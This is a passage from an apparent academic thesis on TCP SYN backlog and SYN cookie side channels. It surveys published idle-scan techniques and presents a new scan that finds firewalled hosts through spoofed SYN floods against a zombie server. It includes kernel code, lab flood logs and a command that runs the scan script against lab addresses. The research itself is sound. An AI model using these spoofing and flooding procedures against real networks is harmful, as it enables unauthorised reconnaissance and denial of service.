destination; therefore, no answer will be received. As long as no TCP segment with

the RST flag set is received or the connection times out, the entry will remain in

the backlog queue (or SYN Cache) of the idle host, occupying its resources. These

first two steps are repeated until all-but-one entries in the idle host’s backlog queue

are filled. In the original paper the size of the idle host’s backlog queue is 1, but

this idea is applicable for arbitrarily large backlog queues. The relevant aspect is

that after step 2 the idle host can store only one more half-open connection.

3. Then, the attacker sends again a SYN packet to the idle host, targeting the same

open port. As source port, he specifies the port he wants to scan on the target

machine. The source IP address is spoofed and substituted with the target’s address.

4. Upon receival of the SYN Packet, the idle host will respond with a TCP segment

where the SYN-ACK flags are set, to continue the TCP three way handshake; this

connection request takes up space for an additional entry in the Connection Table,
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filling up its backlog queue to the maximum. The recipient of this reply is the target

machine, since the source address was spoofed.

5. If the port on the target is open, it will answer with a RST packet (See Sect.2.1.2).

Receiving this segment causes the idle host to close the half-open connection abruptly,

and remove the entry from its backlog queue. Therefore, the idle host can again

accept one more half-open connection before having to fall back to sending SYN-

Cookies. Instead, if the port is closed, the message will be dropped by the target

and the half-open connection on the idle host will remain in the full backlog queue.

6. To get the results of the scan, the attacker sends a TCP segment with the SYN-flag

to the idle host on the same open port, using his real source address. Given that the

message is received on an open port, the idle host replies with a SYN-ACK packet.

However, if the port on the target was open and it answered with a RST packet

(at step 5), this is possible, as there is place for one more half-open connection in

the backlog queue. On the other hand, if no TCP segment with the RST-flag was

received (in step 5) because the port was closed, the idle host is not able to create

another half-open connection due to its full backlog queue. Instead, it will fall back

to sending a SYN-Cookie. By receiving this cookie, the attacker knows that the

limit of the backlog queue on the idle host is reached, which leads to the conclusion

that the port on the target is closed.

To determine if the idle host sent a SYN-Cookie or a normal sequence number in the

SYN-ACK packet at step 6, Ensafi et al.[6] suggested to use statistical analysis on the

received sequence numbers. An easier approach for [8] was to analyse how often the SYN-

ACK packet is re-transmitted by the idle host. This is because if no answer is received

within a certain time frame (few milliseconds), the host will re-transmit it, assuming that

it has been lost along the path (See Sect.2.1). However, if SYN Cookies are enabled, no

state information is kept at the host, so it is able to send just one SYN-ACK packet back

(the first one).

Advantages of this solution are that it does not rely on the already discouraged global

IPIDs (Antirez idle-scan), instead it leverages a side channel enabled by hard constraints

(DoS attack) on the maximum number of pending (half-open) connection. Moreover,

since the entries in the backlog queue will remain for a certain amount of time, the

attacker might be able to scan multiple ports without having to refill the backlog queue
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for each port. Lastly, as mentioned in the preamble, not a single packet is sent from

the attacker to the target. Disadvantages of this port scanning method include that

the attacker is required to know details about the idle host, such as the size of its

backlog queue and the defence mechanisms against SYN-Flooding attacks. These differ

among operating systems, requiring to devise the attacks quite differently. Additionally,

overflowing the backlog queue might create warning messages on the idle host, which

will suspect a SYN-Flooding attack. This makes the attack not ideal in any scenario,

since it decreases quite drastically the stealthiness of the SYN Cache Scan. Finally, as

any other idle scan, the SYN Cache Scan requires that the idle host is actually idle (at

least on overflowed port), and it has at least one open port. This is because an unknown

amount of entries in the backlog queue not coming from the attacker will trigger SYN

Cookies at unknown time, making it harder for the attacker to fill the backlog queue

with exactly all but one entries.

2.4.2 Detecting Intentional Packet Drops on the Internet via

TCP/IP Side Channels: Extended Version

In [5], Ensafi et al. described a method for remotely detecting intentional packet drops on

the Internet via side channel inferences. That is, packet drops due to censorship between

two arbitrary IP addresses on the Internet, whose shared link is off-path. One of the

requirements, as in the case of Antirez[2] Idle Scan, is the usage of a global IPID, which

nowadays is legacy and strongly discouraged behaviour; the other requirement is that

the zombie machine has an open port to send packets to.

According to the paper, the presented methodology is based on a new type of idle scan,

which can be considered to be a hybrid approach between Antirez idle scan [2] and the

SYN backlog idle scan proposed in [6]. With respect to the latter, which required to fill up

the SYN backlog, causing denial-of-service, the new technique uses a low packet rate that

does not fill the SYN backlog, thus being non-intrusive. Besides this difference, however,

there is no actual relation between them, because the newly developed technique relies

almost entirely on the global IPID assumption, taking no advantage from additional

vulnerabilities of the SYN Backlog.

Fig.2.5 shows a graphical representation of the developed Idle Scan:
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Figure 2.5: TCP Packet Drops’ Direction. Source: Image taken from [5]

In more detail, the presented methodology is able to detect several scenarios of packet

drops (plus an error case), which can be summarised as follows:

• No-packets-dropped: In the case that no intentional dropping of packets is occurring,

the client’s IPID will go up by exactly one. This happens because the first SYN/ACK

from the server is responded with a RST from the client, causing the server to remove

the entry from its SYN backlog and not re-transmit the SYN/ACK. Censorship

that is stateful, or not based solely on IP addresses and TCP port numbers, may be

detected as this case includes filtering aimed at SYN packets only. Moreover, if the

packet is not dropped, but instead the censorship is based on injecting RST packets

or ICMP errors, it will be detected as this case.

• Server-to-client-dropped: SYN/ACKs are dropped in transit from the server to the

client based on the return IP address (and possibly other fields, like the source

port). In this case the client’s IPID will NOT increase at all (except for noise).

• Client-to-server-dropped: RST responses from the client to the server are dropped

in transit because of filtering rules based on destination IP address (the server in

this case). When this happens the server will continue to re-transmit SYN/ACKs

and the client’s IPID will go up by the total number of transmitted SYN/ACKs

including re-transmissions (typically 3–6).

• Error: In this case networking errors occur during the experiment, the IPID is found

to not be global throughout the experiment.

This methodology has proven to be effective not only in performing an idle scan, but

also in identifying the direction of packet drops. However, given that it leverages a pretty
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old and discouraged behaviour, such as the use of global IPIDs, the result is relevant only

to some minor extent, not to mention that the relation with the SYN Backlog queue is

essentially non-existent.

2.4.3 Analyzing the Great Firewall of China Over Space and

Time

In [4], Ensafi et al. aims at analysing censorship and content filtering policies once again.

In this setting, however, the scope of the analysis is pretty large: analysing the pervasive

censorship placed by the "Great Firewall of China". In particular, two questions were to

be addressed: given that the GFW occasionally fails, are there geographic patterns in

the way it lets through packets would otherwise be blocked? and, are GFW’s failures on

a given route, persistent or intermittent?

To answer these questions a combined approach was developed. This is able to measure

connectivity between a remote client and an arbitrary server, neither of which are under

the control of the researcher (kind of). To test censorship rules, or intentional packet

drops, two port scanning techniques were used: the Hybrid Idle Scan, used to determine

the direction of packets’ drop (developed at [7], [5] and [3]), and a novel SYN Backlog

Scan.

Since the Hybrid Idle Scan was already presented in Sect.2.4.2, more focus will be

posed on the analysis of the SYN Backlog Scan. To briefly summarise the contribution

of the Hybrid Idle Scan, it is possible to say that it is able to test packet dropping both

for SYN-ACK packets and RST packets; that is from Server-to-client and from Client-

to-server respectively. However, it was not considered a scenario where SYN packets are

sent from the "measurement machine" (MM) to the Target Server; so, it is not possible

to determine whether those kind of packets are blocked by the firewall or not. To answer

this question the assumption of being off-path should be abandoned and the novel SYN

Backlog Scan leveraged.

The SYN Backlog Scan employs a side-channel of the Linux Kernel TCP SYN Backlog

queue not yet presented in this thesis. In particular, Sect. 2.2.2 states that Half-open

TCP connections of network applications are enqueued in the kernel’s SYN backlog.

These half-open connections turn into fully established TCP connections once the server’s

SYN/ACK was acknowledged by the client. If a proper response is not received for an
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entry in the SYN backlog, it will re-transmit the SYN/ACK several times. The number

of re-transmissions is implementation dependent; in Linux Kernel 2.2 the number of re-

transmissions was 5. However, if the SYN/ACK and its respective re-transmissions are

never acknowledged by the client, the half-open connection is removed from the backlog.

When under heavy load or under attack, a server’s backlog might fill faster than it can

be processed. The Linux kernel mitigates this problem by pruning an application’s SYN

backlog. If the backlog becomes more than half full, the kernel begins to evict pending

connections bringing the SYN backlog back into uncritical state9. Linux kernel’s pruning

mechanism is by design a shared resource, thus constitutes a side channel which can be

used to measure intentional packet drops targeting a server.

The SYN Backlog scan is implemented by means of two separate scans: the SYN Scan

and the RST Scan, as shown in Fig.2.6.

Figure 2.6: Backlog SYN Scan & Backlog RST Scan. Source: Image taken from [4]

In more detail:

• SYN scan: five SYN segments are sent to the target server (a Tor entry node) from

the Measurement Machine (MM, the attacker). After a delay of approximately 500

ms, the VPS (the zombie) sends 145 SYN segments to fill the relay’s backlog by

more than half. If this is successful, it will make the Tor relay’s kernel prune MM’s

SYN segments, thus reducing their re-transmissions. This way, MM knows that

9Linux Kernel Source Tree. URL: https://github.com/torvalds/linux/blob/ffc25326/net/
ipv4/inet_connection_sock.c#L1024
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VPS’s SYNs reached the relay.

• RST scan: ten SYN segments are sent to the target server (a Tor entry node)

from the Measurement Machine (MM, the attacker). Afterwards, MM proceeds by

sending 145 spoofed SYN segments with VPS’s source address. Upon receiving the

SYN segment burst, the relay replies with SYN/ACK segments, are expected to be

dropped by the GFW. Assuming this is the case, in the final step the VPS sends

a burst of RST segments to the Tor relay. The RST segments are crafted so that

every RST segment corresponds to one of the relay’s SYN/ACK segments, thus

terminating all half-open connections and clearing the relay’s backlog. Based on

how many re-transmissions we observe for the 10 “probing SYNs”, we can infer

whether the RST segments were dropped by the GFW or not.

Advantages of the novel SYN Backlog Idle Scan approach include the possibility

of inferring intentional packets loss without causing a DoS attack, as opposed to [6].

Disadvantages include the requirement of global increasing IPIDs for the Hybrid Idle

Scan (as presented in 2.4.2), and the need for a probabilistic study of the likelihood

of seeing a certain number of SYN-ACK re-transmissions, given that the SYN Backlog

queue is filled for more than 50% of its total size; not to mention the fact that the

number of re-transmissions is OS and implementation dependent. Finally, packets can

be lost along the path, so it is necessary to account for that variability too.

2.4.4 Original SYN: Finding Machines Hidden Behind Fire-

walls

In [17] Zhang et al. aimed at finding machines hidden behind firewalls, whose access

is granted only to devices on the internal protected network. The developed technique

leverages a side channel on “zombie” machines which enables the attacker to gather

information about the private internal network from the perspective of the zombie itself.

The underlying assumption is that the zombie is in a favoured position with respect to

the attacker.

The presented approach is based on Ensafi et al.’s technique [6], but, contrary to that

one, it does not require the SYN backlog to be almost filled with SYN packets to infer

information on the target host. SYN packets are sent at a very low rate, thus voiding

the possibility a denial of service.
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The novel side channel leverages an optimisation feature of the Linux kernel versions

2.3 and later. This feature imposes that if the SYN backlog is more than half full, some

of the older entries in the backlog will be evicted/pruned (overriding normal timeout)

to reserve half of the backlog for the young requests.10. Actually, this is the same side

channel presented in [4], but in this framework the presented approach differs quite a bit

with respect to that one, and makes interesting contributions both to the detection of

the SYN Backlog dimension and the SYN Backlog Scan. In particular, as first step they

analysed the parameters of the Linux Kernel that make up for the actual dimension of the

TCP SYN Backlog size (See Sect.2.2.2). After this preliminary step, the aforementioned

side channel was exploited to infer the SYN backlog size. In more detail, at the beginning

it is assumed to be of a certain dimension x, then 3/4 of the assumed backlog size is

filled with SYN packets, without answering ACKs to SYN-ACKs. The idea is that if the

machine’s backlog size is actually x, more than half is full of SYN packets, so some of them

will be evicted. This reduces the number of SYN-ACK re-transmissions. If the backlog

size is greater than x, no evictions will be observed and the number of re-transmissions

equals the default one. Then, the guessed size of the backlog is doubled and the test

repeated. (In the paper, no host with backlog size greater than 256 was used as zombie)

As far as the SYN Backlog scan is concerned, a graphical representation of the ex-

perimental setup is shown in Fig.2.7

Figure 2.7: SYN Backlog Scan. Source: Image taken from [17]

10Linux Kernel Source Tree. URL: https://github.com/torvalds/linux/blob/ffc25326/net/
ipv4/inet_connection_sock.c#L1024
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The scan requires that 3/4 of the zombie’s Connection Table is filled with pending

half-open connections. However, incoming SYN packets are of two different types:

1. Spoofed SYN packets whose source IP address is the target machine’s.

2. SYN packets whose source IP address is the scan machine’s (these packets are called

canaries).

Spoofed SYN packets and canaries are mixed and shuffled to be sent in a completely

random order to the zombie machine, at a rate of 5 pkts/s. This way 3/4 of the zombie’s

SYN backlog are filled of spoofed SYNs and canaries. Each category accounts for 3/8

of the zombie’s SYN backlog size. This operation is performed to ensure that the Linux

kernel evicts incoming SYN packets independently.

The idea in this case is not to determine which ports are open or closed at the target

server, as in [6], but just to verify whether the target machine is alive or not. This can be

done by leveraging the abovementioned performance optimisation of the Linux Kernel,

and in particular by verifying the number of canaries still present in the zombie machine.

In more detail: duplicates of the canaries are sent to test canaries’ status in the

backlog. These duplicates are called probes, and they share the exact same information

(source and destination port, source and destination IP address) corresponding to the

original SYN (canary), except for a different sequence number, that is smaller by one.

For Linux, the duplicated SYN packets sent may have two kinds of answers:

1. If the original SYN is still in the SYN backlog, an ACK packet will be answered to

it.

2. If the original SYN has been evicted, a SYN-ACK packet will be answered to the

newly arrived duplicated SYN (probe).

Therefore it is possible to infer the existence of concealed machines behind firewalls

by observing the zombie machine’s answers to duplicated SYN packets (probes):

• If the target machine does not exist, the SYN backlog is filled with spoofed SYN

packets and canaries. Some canaries will be evicted, therefore SYN-ACKs will be

observed as answers to probes.

• If the target machine exists, it sends RST packets to previously received SYN-ACKs

from the zombie. The SYN backlog would be less than half full because only the

canaries stay. Therefore, only ACKs as answers to canaries will be observed.
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Advantages of this approach include the fact that, unlike previous TCP/IP scan tech-

niques, this does not require a high packet rate and does not cause a denial-of-service.

Moreover it is does not assume global incrementing IPIDs, as idle scans do, nor does it

assume that the measurement machine can send packets directly to the target. Disad-

vantages can be traceable to the statistical validity of obtained results, which is heavily

affected by packet loss along all paths, and various unknowns. These include the number

of packets present in the backlog before the scan starts, the exact number of packets

that reach the zombie, the distribution of packets’ arrival in the SYN Backlog queue,

and the number of evicted entries. It is important to note that the pruning process does

not necessarily stop when the total number of entries in the backlog drops under half,

it may go even further. Finally, since this technique requires sending packets at a rate 5

pkts/s for about 60 seconds, if a scanner scans the same machine at the same time, the

packet rate will reach up to 10 packets per second causing a denial-of-service attack.

2.4.5 ONIS: Inferring TCP/IP-based Trust Relationships Com-

pletely Off-Path

In [16][15], Zhang et al. present ONIS, a new scanning technique that can do three

things: infer TCP/IP-based trust relationships off-path, stealthily port scanning a target

without using the scanner’s IP address, and detect off-path packet drops between two

international hosts. Usually, these network measurements were carried out by means

of an Idle Scan, which exhibit the now-discouraged behaviour of globally incrementing

IPIDs. Since the use of this kind of IPID counter is becoming increasingly rare in practice,

the proposed technique bases its approach on a much more advanced IPID generation

scheme, the one of the Linux Kernel. This new approach is very interesting because ONIS

uses Linux machines with kernel 3.16 or later as zombies, and does not require them to

be idle. However, since this topic has no relation with concepts like SYN Backlog or SYN

Cookies, which is the main focus of this thesis, no additional details will be presented.
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Novel Scanning Approach

In Chapter 2 we analysed the theoretical notions encompassing the research presented in

this chapter. Additionally, we examined prior related contributions on (Port) Scanning

vulnerabilities, which leveraged a specific side channel targeting the SYN Backlog Queue.

To start with, it is important to say that previous work either uses outdated techniques

or they are so complicated to carry out, to still be unpractical nowadays. In particular

[5],[7], [3] and [4] leverage a scanning technique that is based upon global incrementing

IPIDs, which is strongly discouraged behaviour nowadays. Additionally, when examining

paper [6] and [8], no clear way of determining the SYN Backlog size was provided; it

was assumed to be of a certain dimension and it lacked a solution to account for that

problem. This is a major limitation since the size of the SYN backlog is crucial to be

able to carry out the attack correctly.

Finally, in [4] and [17], the proposed techniques exploit a side-channel of the SYN

Backlog queue that prunes older half-open connections when the backlog size surpasses

the 50% threshold. When this happens, the number of SYN-ACK re-transmissions for

the evicted entries is reduced, because no more re-transmissions will be performed. This

constituted a novel side channel that was used in the first scenario for inferring off-path

censorship rules, and in the second one to detect the liveness of machines hidden behind

firewalls. However, in the first case it is required a probabilistic study on the number of

SYN-ACK re-transmission; the rational is that there is variability both in the number

of packets lost along the path (path loss) and the number of entries evicted/pruned. In

the second case, it is required a probabilistic study of the number of positive responses

(probes of "canaries") for half-open connections still present in the Backlog queue. Even
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this scenario is subject to path loss and a variable number of other unknowns.

Given this preamble, the contributions provided by thesis’ work include a new Scan-

ning approach that aims at identifying hosts hidden behind firewalls, whose access is

granted only to devices on the internal protected network. This scanning technique ben-

efits from a novel side channel targeting SYN Cookies. The proposed solution intends to

guarantee stronger deterministic results with respect to the ones presented in previous

work. For this reason an additional step was taken to deterministically identifying SYN

Cookies’ activation threshold.

3.1 SYN Cookies Activation Threshold

SYN Cookies, as fundamental component of the novel scanning methodology, require

a deterministic way of identifying their activation threshold. In particular, Sect.2.2.4

shows that SYN Cookies are activated when the socket request queue reaches its ca-

pacity, specifically when its length equals or exceeds sk_max_ack_backlog. However,

precisely determining the size of the SYN Backlog remains intricate, both from an ex-

ternal (attacker) perspective and an internal (informed) viewpoint.

Even with access to internal information, determining the SYN Backlog size isn’t

as straightforward as reading /proc/sys/net/ipv4/tcp_max_syn_backlog. Sect.2.2.2

introduced a formula for estimating the dimensions of the SYN Backlog queue. Yet, this

formula relies on computations starting from the value obtained during the listen()

function call, which has both lower and upper bounds.

To address this challenge, the first step was taken in the direction of extracting the

correct values directly from the Linux Kernel itself. Specifically, the Linux Kernel source

code was modified and recompiled to retrieve the needed information. Modifications

were centred around the function responsible for writing warning messages related to

the detection of SYN Flooding attacks in kernel logs. Changes are shown in Listing 2.6:

Listing 3.1: TCP SYN Flood action

1 static bool tcp_syn_flood_action(const struct sock *sk, const char
*proto)↪→

2 {
3 struct request_sock_queue *queue =

&inet_csk(sk)->icsk_accept_queue;↪→

4 const char *msg = "Dropping request";
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5 struct net *net = sock_net(sk);
6 bool want_cookie = false;
7 u8 syncookies;
8

9 syncookies = READ_ONCE(net->ipv4.sysctl_tcp_syncookies);
10

11 #ifdef CONFIG_SYN_COOKIES
12 if (syncookies) {
13 msg = "Sending cookies";
14 want_cookie = true;
15 __NET_INC_STATS(sock_net(sk),

LINUX_MIB_TCPREQQFULLDOCOOKIES);↪→

16 } else
17 #endif
18 __NET_INC_STATS(sock_net(sk), LINUX_MIB_TCPREQQFULLDROP);
19

20 if (!READ_ONCE(queue->synflood_warned) && syncookies != 2 &&
21 xchg(&queue->synflood_warned, 1) == 0) {
22 if (IS_ENABLED(CONFIG_IPV6) && sk->sk_family == AF_INET6)

{↪→

23 net_info_ratelimited("%s: Possible SYN flooding on
port [%pI6c]:%u. %s.\n",↪→

24 proto, inet6_rcv_saddr(sk),
25 sk->sk_num, msg);
26 } else {
27 net_info_ratelimited("%s: Possible SYN flooding on port

%d. %s. MAX_ACK_BACKLOG = %u; QUEUE_SIZE = %u\n",↪→

28 proto, sk->sk_num,
29 msg,
30 sk->sk_max_ack_backlog,
31 inet_csk_reqsk_queue_len(sk));
32 }
33 }
34 return want_cookie;
35 }

In the provided code snippet, the critical function is net_info_ratelimited(). No-

tably, modifications occur within lines 27—31. As evident, alongside the protocol, the

Socket Number (TCP port), and the message (“Sending Cookies”), two additional pieces

of information will be recorded in the Kernel logs: the maximum size of the SYN backlog

and the current queue size when SYN Cookies are triggered.

An example of the new warning message follows:
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debian kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80.
Sending cookies. MAX_ACK_BACKLOG = 511; QUEUE_SIZE = 511↪→

However, since the value associated with /proc/sys/net/ipv4/tcp_max_syn_backlog

is influenced by the size of the RAM, it should affect the upper bound on the dimen-

sion of the backlog queue. Consequently, several tests have been conducted comparing

the results against the ground truth data extracted from the kernel logs’ output. In

particular:

Linux Debian - 1 Core 2GB RAM
- Output of `cat /proc/sys/net/ipv4/tcp_max_syn_backlog` == `128`
- Theoretical Max Number of Established Connections -->

`/proc/sys/net/core/somaxconn` == `4096`↪→

Linux Debian - 1 Core 3GB RAM
- Output of `cat /proc/sys/net/ipv4/tcp_max_syn_backlog` == `256`
- Theoretical Max Number of Established Connections -->

`/proc/sys/net/core/somaxconn` == `4096`↪→

Linux Debian - 1 Core 6GB RAM
- Output of `cat /proc/sys/net/ipv4/tcp_max_syn_backlog` == `512`
- Theoretical Max Number of Established Connections -->

`/proc/sys/net/core/somaxconn` == `4096`↪→

A PowerShell script was crafted to rigorously test all the aforementioned hardware

configuration combinations (See Appendix D). Remarkably, the final outcome always

remained unchanged:

debian kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80.
Sending cookies. MAX_ACK_BACKLOG = 511; QUEUE_SIZE = 511↪→

- `sk_max_ack_backlog` == `511`
- `reqsk_queue_len(&inet_csk(sk)->icsk_accept_queue)` == `511`

These observations indicate that the dimension of the SYN Backlog Queue for the

analysed network application is 511. This value is upper bounded by

/proc/sys/net/core/somaxconn. Furthermore, it has been made explicit that the ac-

tivation of SYN Cookies occurs precisely when the queue reaches its full capacity.
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To perform these tests, two virtual machines running Debian 12 (kernel version 6.1.65)

have been used. The two machines acted as server and client respectively. The client

virtual host executed a SYN Flooding attack against port 80 on the server virtual host,

where an Apache web server was hosted. An intriguing observation emerged: despite

sending precisely 512 packets, SYN Cookies were not triggered, and no warning messages

appeared in the Kernel logs. This discrepancy raised questions about the theoretically

grounded results extracted from the Linux Kernel Source code. Consequently, additional

tests have been conducted to determine the precise number of packets required to activate

SYN Cookies, thereby revealing the size of the SYN Backlog Queue. This investigation

holds significance from an attacker’s perspective, as it lack access to internal information

regarding the backlog’s dimensions. The chosen approach to identify the backlog size

employed the "Divide and Conquer" algorithm. Starting from an arbitrary large value,

the search recursively halved the value and selectively explored the correct half until

convergence of the result.

Test 1: Sent 2500 SYN packets --> Attack Worked! SYN flooding message
visible on the logs.↪→

Test 2: Sent 1250 SYN packets --> Attack Worked! SYN flooding message
visible on the logs.↪→

Test 3: Sent 625 SYN packets --> Attack Worked! SYN flooding message
visible on the logs.↪→

Test 4: Sent 310 SYN packets --> The attack did NOT work. SYN flooding
message NOT visible on the logs.↪→

Test 5: Sent 467 SYN packets --> The attack did NOT work. SYN flooding
message NOT visible on the logs.↪→

Test 6: Sent 546/550 SYN packets --> Attack Worked! SYN flooding message
visible on the logs.↪→

Among the tests conducted, Test 6 demonstrated the lowest activation requirement

for SYN Cookies, with only 546/550 packets. However, it’s important to note that the

Kernel logs accurately reflected the dimensions of the SYN Backlog queue. Nonetheless,

a larger number of packets remains essential for triggering SYN Cookies.

Several may be the culprits for this behaviour: packet loss along the communication

path, the server’s inability to process the huge amount of received packets, and other
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potential issues.... Nevertheless, there’s a major contributor among them. To identify

that, it is important to consider one of the side channels presented in Sect.2.4. Specifically,

in [17][4] a side channel targeting the SYN backlog queue was discovered; it prunes older

half-open connections when the backlog size surpasses the 50% threshold1. This means

that, when the backlog is more than half full, it starts to evict older half-open connections

to avoid clogging the Connection Table. This behaviour can be considered the main factor

altering the required number of packets for a SYN Flood attack to be successful. Lastly,

two additional requirements must be fulfilled: the number of SYN packets sent must be

greater than the size of the backlog queue and the rate at which those packets are sent

must be greater than the pruning rate.

To detect the activation of SYN Cookies from an attacker’s standpoint, it is critical

to introduce another piece to the puzzle: a novel side channel targeting SYN Cookies.

3.2 SYN Cookies Side Channel

As discussed in Sect.2.2.4, when SYN Cookies are enabled, the server refrains from

allocating any state in the Connection Table. For this purpose, it generates a sequence

number using a reversible function, and includes it in the acknowledgement number of

the SYN-ACK response. The computed value encapsulates all the necessary information

to recognise a host upon receival of the final ACK packet. The reversible function takes

as input several values, some of which are taken from server’s memory (sec1, sec2 and

c) while some others from the incoming SYN packet (saddr, sport, daddr, dport,

ISN, MSS). In greater detail, the SYN Cookies can be computed as shown in Listing 2.5.

However, SYN Cookies have downsides too; given size constraints, there is no way of

including all the information previously stored in the Transmission Control Block (TCB)

for half-open connections. Still, there are important data values exchanged only in the

initial SYN packet, which is be better to remember. It is no exception the Maximum

Segment Size (MSS), which is set among the optional fields of the TCP header. Although

this value is actually encoded in the resulting 32-bit number, a peculiar choice was made

in its regards. Such choice lead the foundation for a novel side-channel.

1Linux Kernel Source Tree. URL: https://github.com/torvalds/linux/blob/ffc25326/net/
ipv4/inet_connection_sock.c#L1024
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Of particular interest are the pieces of code shown in Listing 2.2 and 2.4 (reported

for reference).

Listing 3.2: SYN Cookie Init Sequence

1 u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct
tcphdr *th,↪→

2 u16 *mssp)
3 {
4 int mssind;
5 const __u16 mss = *mssp;
6

7 for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)
8 if (mss >= msstab[mssind])
9 break;

10 *mssp = msstab[mssind];
11

12 return secure_tcp_syn_cookie(iph->saddr, iph->daddr,
13 th->source, th->dest, ntohl(th->seq),
14 mssind);
15 }

Listing 3.3: msstab Array

1 static __u16 const msstab[] = {
2 536,
3 1300,
4 1440, /* 1440, 1452: PPPoE */
5 1460,
6 };

To identify the core element concurring to the enabling of the aforementioned SYN

Cookie side-channel, within these code snippets we delve into the process of combining

data values to construct the final 32-bit number. In Listing 2.2 it is possible to observe

the declaration of the mssind variable. This holds the index of the msstab array’s element

corresponding to the closest match with the extracted MSS value from the incoming SYN

packet. The subsequent for loop iterates backwards over the msstab array, halting when

the extracted MSS is greater than or equal to one of the array entries. The corresponding

value is taken as candidate to be passed as parameter to the secure_tcp_syn_cookie()

function.

This means that when a SYN packet arrives at the server with a value distinct from

those in the msstab array, enabling SYN Cookies results in rounding that value down
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to one of the entries in the msstab array. This is the behaviour which gives rise to

the novel side channel concerning SYN Cookies. This side-channel can be exploited to

remotely detect SYN Cookies’ activation, thereby inferring information about the host

that enabled them.

This indirect disclosure/leak of valuable information can wield significant power in

the hands of an attacker, and can make up for a novel Scan Technique.

A python script has been developed for initiating a SYN Flooding Attack against the

target victim, and another one for detecting SYN Cookies’ activation. (See Appendix A

and Appendix B)

3.3 SYN Cookie Scan

This novel Internet measurement technique aims at identifying hosts hidden behind

firewalls, whose access is granted only to devices on the internal protected network. This

novel approach is based on previous related work by Ensafi et al. [6] [8] and Zhang et

al.[17], where a side channel in zombie machines allows to gather information about

the target network from a vantage point. The contributions provided by our developed

methodology are based on a new side channel targeting SYN Cookies (and the SYN

Backlog queue as well), and are directed at overcoming limitations posed by the previous

approaches. In particular, with respect to the work by Ensafi et al., a deterministic way

of estimating the SYN queue backlog size has been developed (See Sections 3.1 and 3.2)

and has been integrated in the novel scan approach. In that previous work, the backlog

size was assumed to be known. With respect to the work by Zhang et al., the challenge

was pointed towards retrieving more deterministic results with respect to identification

of hidden hosts, getting rid of the questionable statistical validity of presented results,

heavily affected by packet loss and many other unknowns.

In greater detail, the novel approach is presented in Fig.3.1
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Figure 3.1: SYN Cookie Scan

Assuming the attacker already estimated the size of the SYN Backlog queue as in

Sections 3.1 and 3.2:

1. The attacker sends a TCP segment with the SYN-flag set to an open port of the

idle host (Web Server), let’s say port 80, spoofing both the source IP address and

the source TCP Port. The spoofed values are substituted with the IP of the target

host (Database Server) and a random TCP port respectively.

2. Upon receival of the SYN packet, the idle host will respond with a TCP segment

where the SYN-ACK flags are set. Since the source IP was spoofed, the answer will

be redirected to the selected target host (the Database server we want to test the

existence of). These first two steps are repeated until the number of packets sent by

the attacker (and the idle host as well) is greater than the dimension of the SYN

Backlog queue (See Sect.3.1 for further details).

3. If the target host is alive, then it will respond with TCP packets with the RST bit

set. Conversely, if the target host is not operational, no response occurs.

4. Finally, to get the results of the scan, the attacker sends a SYN packet to the same

open port on the idle host (port 80), using his real source IP address. Though, this

time it encodes a random value for the Maximum Segment Size (MSS) option in

the TCP header.
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5. The idle host will reply with a SYN-ACK packet. However, if the target host

(Database) was not alive (in step 3), no response was received, and the Idle host

kept reserving space for half-open connections in its Connection Table, eventually

causing a SYN Flood attack. This forces the idle host to resort to SYN Cookies as

countermeasure. As side effect, in subsequent packet exchanges the MSS value will

be casted to one of the values in the msstab array.

6. Then, to evaluate SYN Cookies’ activation, the three-way handshake must be fi-

nalised and additional data exchanged.

7. When a response is provided by the Idle host, the received TCP packet is inspected

and the MSS value extracted. If the value is one among the ones set in the msstab

(See Sect. 3.2 or Sect. 2.2.4), then SYN Cookies are enabled, indicating that the

target host (Database server) is not alive; instead, if the value is equal to the ran-

domly chosen one in the initial SYN packet, it is possible to state that the target

host is alive.

The proposed approach offers several advantages: firstly, it does not rely on proba-

bilistic methods to hidden host detection; instead, it provides stronger deterministic the-

oretical guarantees. Then, it refrains from making assumptions about the use of global

incrementing IPIDs, that is currently strongly discouraged practice. Then, unlike con-

ventional port scanning methods or Idle Scans, this approach only requires interaction

with the Idle Host. This deliberate design ensures invariance with respect to subnet

and firewall limitations, enabling the attacker to glean information while remaining off-

path. Lastly, there is no need to tightly estimate the dimension of the SYN Backlog

queue. Previous approaches required filling the queue for all-but-one entry or by 75% of

the backlog size. Therefore it is necessary to take into account the number of elements

already present in the queue. In contrast, this new method eliminates such constraints.

Disadvantages include the fact that overflowing the backlog queue triggers warning

messages on the idle host; this phenomenon arises because a SYN-Flooding attack is

eventually performed. These warnings may draw someone’s attention, significantly im-

pacting the stealthiness of the scan.

A Python script has been coded to perform the SYN Cookie Scan. (See Appendix C)
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Chapter 4

Experimental Results

In the preceding chapter, we introduced a novel Scanning Technique that exploits a

unique side channel specifically targeting SYN Cookies and the SYN Backlog queue. In

this chapter, we shift our focus to presenting the system architecture utilised for testing

the novel approach and describe the obtained experimental results.

4.1 System Architecture

In its simplest formulation, the System Architecture is composed of three elements (A

graphical representation is shown in Fig.3.1):

1. the Client Host (Attacker): Surface Laptop 1st Gen, running the latest Debian 12

distro. This PC leverages dual-core (Hyperthreaded) Intel CPU i5-7200U @ 2.50GHz

(Base Clock), 8GB RAM and 256GB SSD.

IP Address: 192.168.1.15

2. the Idle Host (Zombie): custom desktop PC running the latest Debian 12 distro.

This PC leverages a six-cores (12 threads) Intel CPU i7-8700k @ 3.7GHz (Base

Clock), 16GB RAM and 512GB SSD.

IP Address: 192.168.1.28

3. the Target Host (Victim): custom desktop PC running the latest Debian 12 distro.

This PC leverage a six-cores Intel CPU i5-8400T @1.70GHz 16GB RAM and 512

SSD.

IP Address: 192.168.1.212
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Although the machines share all the same Network Mask, the Idle Host and the

Target Host remain concealed behind a firewall. The firewall is specifically configured to

prohibit direct traffic exchange between the Client Host and the Target Host, allowing

communication only between the Client Host and the Idle Host. The Idle Host and the

Target Host can communicate freely.

4.2 Results

In this section are presented the results of the SYN Cookie Scan, whose source code is

included in Appendix C.

To run the SYN Cookie Scan it is necessary to issue the following command (assuming

the size of the SYN Backlog queue has already been estimated as in Sections 3.1 and

3.2):

$ sudo python3 port_scanning_attack.py 192.168.1.28 -s 192.168.1.212 -p
80 -c 560 -mss 1320↪→

where:

• 192.168.1.28: the target IP address

• -s 192.168.1.212: the spoofed source IP address

• -p 80: the destination TCP port

• -c 560: the number of SYN Packets to send when performing the SYN Flood Attack

